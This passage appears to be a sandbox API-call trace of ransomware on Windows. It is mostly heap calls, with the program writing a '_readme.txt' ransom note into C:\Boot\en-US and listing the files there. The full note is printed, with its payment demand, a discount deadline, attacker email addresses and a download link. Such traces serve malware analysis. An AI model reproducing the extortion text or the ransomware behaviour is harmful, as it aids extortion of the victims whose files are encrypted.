lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.445] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.447] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.448] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.448] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.448] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.448] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.448] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.448] PathFindFileNameW (pszPath="") returned="" [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.448] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.448] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.448] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.448] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.448] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0111.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.448] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.449] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0111.449] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.449] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.449] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.449] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.450] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.450] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.450] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.450] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.450] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0111.450] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0111.450] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.451] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, 